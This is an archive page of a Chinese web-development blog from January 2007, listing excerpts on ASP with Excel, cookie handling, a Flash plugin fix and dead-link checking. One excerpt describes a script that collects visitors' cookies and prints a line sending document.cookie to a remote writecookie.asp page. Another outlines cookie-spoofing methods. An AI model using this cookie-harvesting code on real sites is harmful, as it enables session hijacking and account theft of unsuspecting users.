木子屋 Dnawo's BLOG

2007-01 归档

共 116 篇

从Excel中筛选符合条件的记录保存至新的Excel中(续)

昨晚一直想用Insert into语句往Excel工作表中添加记录都没成功,不甘心,今天继续查阅资料,最终找到了解决的方法。将数据从一个表复制和附加到Excel中SQL语句有点不太一样,下边分别说明: 如何复制 您可以使用 Select INTO 语句将 Jet 可以读取的任何数据源中的数据复制到任何数据目标,随时创建新的表(在 Excel 中为新工作表)。将工作表名称用作目标时,不要使用美元符号语法,例如 。目标工作簿可以存在,也可以不存在;但是,目标工作表必须尚未存在。 对于将整个 Customers 表从 Microsoft Access Northwind 数据库复制到 Excel 工作簿的新工作表中的复制命令,有三种编写方法。每种语法需要一个 SQL 语句并在目标工作表的第一行创建列标题。…

从Excel中筛选符合条件的记录保存至新的Excel中

以前在一个图书类网站看到这样一个功能:客户可以按条件搜索书目的信息,服务器会将符合条件的信息筛选出来保存为一个Excel文件供客户下载。今天有个客户也有这样的要求,于是并好好来学一下ASP对Excel的操作。 在网上搜索相关资料后知道ASP操作Excel和操作ACCESS差不多,只是连接方式不一样而已。为了验证下其真实性,建立了个xls文件并输入一些数据,用SQL语句进行查询,并将输出结果,没出现什么错误,再试了试加入一些查询条件,都OK!不过要注意的是在查询中Excel表的书写格式为;Excel中第一行被认为是字段名称;一些资料中还注明字段名不能包含数字,否则Excel的驱动在遇到这种问题时就会出错,不过我试了试,未发现什么错误,可能是环境的原因,大家实际操作时字段名都用纯字母以保万无一失。 搜索出记录集后就要保存了,这边出了问题。为了方便测试,新建了一条SQL语句:sqlstr = "insert into values('111','222','333','444','555')",然而保存时老出现"操作必须使用一个可更新的查询"的错误,在用access数据库碰到此问题时一般是权限没设置好,可是这次该xls文件所在分区文件系统为fat32,应该不会是权限问题,xls文件只读属性也未钩选,在相同目录下新建一access文件进行添加记录结果也正常,不知是什么原因了?继续在Google、Baidu搜索相关资料,结果大都为asp如何连接excel,如何读取,竟没有人在添加时碰到问题,郁闷!…

ASP操作Excel

摘 要 主要介绍用Excel做数据库并使用ASP编程对其进行操作 关键词 ASP,Excel,编程,数据库 一、 问题的提出 在ASP编程中会遇到很多大大小小的难题,我有一次为一家书店设计网站的时候就遇到了一个这样的难题。起初使用Access做数据库,该数据库主要是为了保存书店内图书的信息,但是当记录的条目过多时数据库的体积将会变得很大。在实际的应用中,网站的空间是有限的,很多要建设网站的客户都没有自己的主机,网站的空间是向网站空间提供商花钱购买而来的,这就要求在网站空间一定的条件下,尽量减小网站内文件的体积。于是我选择了Excel做数据库。 二、 方法与说明 将Excel文件(例如book.xls)看成一个数据库,其中的每一个工作表(sheet)看成数据库表。假设Excel中的第一行为字段名,所以你定义的范围中必须要包括第一行的内容。…

将用户cookie保存到指定文件

前提条件是页面支持HTML,只要满足这一条件就可开工,这边共三个文件: getcookie.js:获取用户cookie并以地址参数形式发送至writecookie.asp页面; writecookie.asp:从地址参数中获取cookie值并保存至cookie.txt文件中; cookie.txt:保存cookie值; 两个文件的代码如下: getcookie.js: 为什么不用document.location.href='http://www.mzwu.com/writecookie.asp?coo=" + document.cookie + "&url=" + document.domain大家想想^_^…

VBScript、JavaScript获取Cookie

VBScript和JavaScript的document对象都有cookie方法用来设置或返回网站cookie的值,设置或返回时其值格式为:name1=value1;name2=value2;name3=value3。以前有用VBScript和JavaScript分别写了函数用于获取网址中指定的参数值,详见"静态页面也玩参数"。我们知道,网址中参数的格式和这个cookie的值非常相像,只是&变成了;而已,那我们就同样能获取指定名称cookie的值,具体函数如下: VBScript版: JavaScript版:

关于document.cookie的使用

  我们已经知道,在 document 对象中有一个 cookie 属性。但是 Cookie 又是什么?“某些 Web 站点在您的硬盘上用很小的文本文件存储了一些信息,这些文件就称为 Cookie。”—— MSIE 帮助。一般来说,Cookies 是 CGI 或类似,比 HTML 高级的文件、程序等创建的,但是 javascript 也提供了对 Cookies 的很全面的访问权利。   我们先要学一学 Cookie 的基本知识。   每个 Cookie 都是这样的:=   的限制与 javascript 的命名限制大同小异,少了“不能用 javascript 关键字”,多了“只能用可以用在 URL 编码中的字符”。后者比较难懂,但是只要你只用字母和数字命名,就完全没有问题了。的要求也是“只能用可以用在 URL 编码中的字符”。…

cookie全攻略

引:Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!   一、了解Cookie 适用对象:初级读者   Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。…

cookie欺骗

现在有很多社区网为了方便网友浏览,都使用了cookie技术以避免多次输入密码(就如the9和vr),所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。 cookie欺骗原理 按照浏览器的约定,只有来自同一域名的cookie才可以读写,而cookie只是浏览器的,对通讯协议无影响,所以要进行cookie欺骗可以有多种途径: 1.跳过浏览器,直接对通讯数据改写 2.修改浏览器,让浏览器从本地可以读写任意域名cookie 3.使用签名脚本,让浏览器从本地可以读写任意域名cookie(有安全问题) 4.欺骗浏览器,让浏览器获得假的域名 其中: 方法1、2需要较专业的编程知识,对普通用户不太合适。…

flash9.ocx 加载错误解决方法

用IE浏览网页时,经常会遇到flash9插件加载错误。如果选择继续,则CPU被占用90%以上几秒后,网页自动关闭。如果把flash9.ocx关掉,不加载的话,flash又看不成。 如何解决? 方法一: 重新注册以下DLL文件,你在桌面上点“开始”、“运行”: regsvr32 Shdocvw.dll regsvr32 Shell32.dll (注意这个命令) regsvr32 Oleaut32.dll regsvr32 Actxprxy.dll regsvr32 Mshtml.dll regsvr32 Urlmon.dll 注意:第二个命令可以先不用输,输完这些命令后重新启动Windows,如果发现无效,再重新输入第二个命令。…

网站设计如何揪出网页的无效链接

在我们浏览网站的时候,一定都遇到过页面上带红叉的无效图片或者“无法找到网页”的提示,出现如此现象一般都是因为链接文件的位置发生变化、被误删除或者文件名的拼写错误造成的。 为了避免出现无效链接的尴尬,树立良好的网站形象,当我们完成一个网站的设计制作后,一定要认真地检查是否存在失效链接,以便及时修改。 将无效链接扼杀在上传前 为了预防网站上传后出现无效链接,在上传前我们可以使用FrontPage2003的超链接报表功能来检查整个网站的链接情况,如果遇到无效链接还可以及时编辑修复。首先我们要把需要检查链接的站点设置为FrontPage2003的网站,运行FrontPage2003,选择“文件→新建→由一个网页组成的网站”进入“网站模板”窗口,单击“浏览”指定到你的站点目录,“确定”后即可打开整个网站。…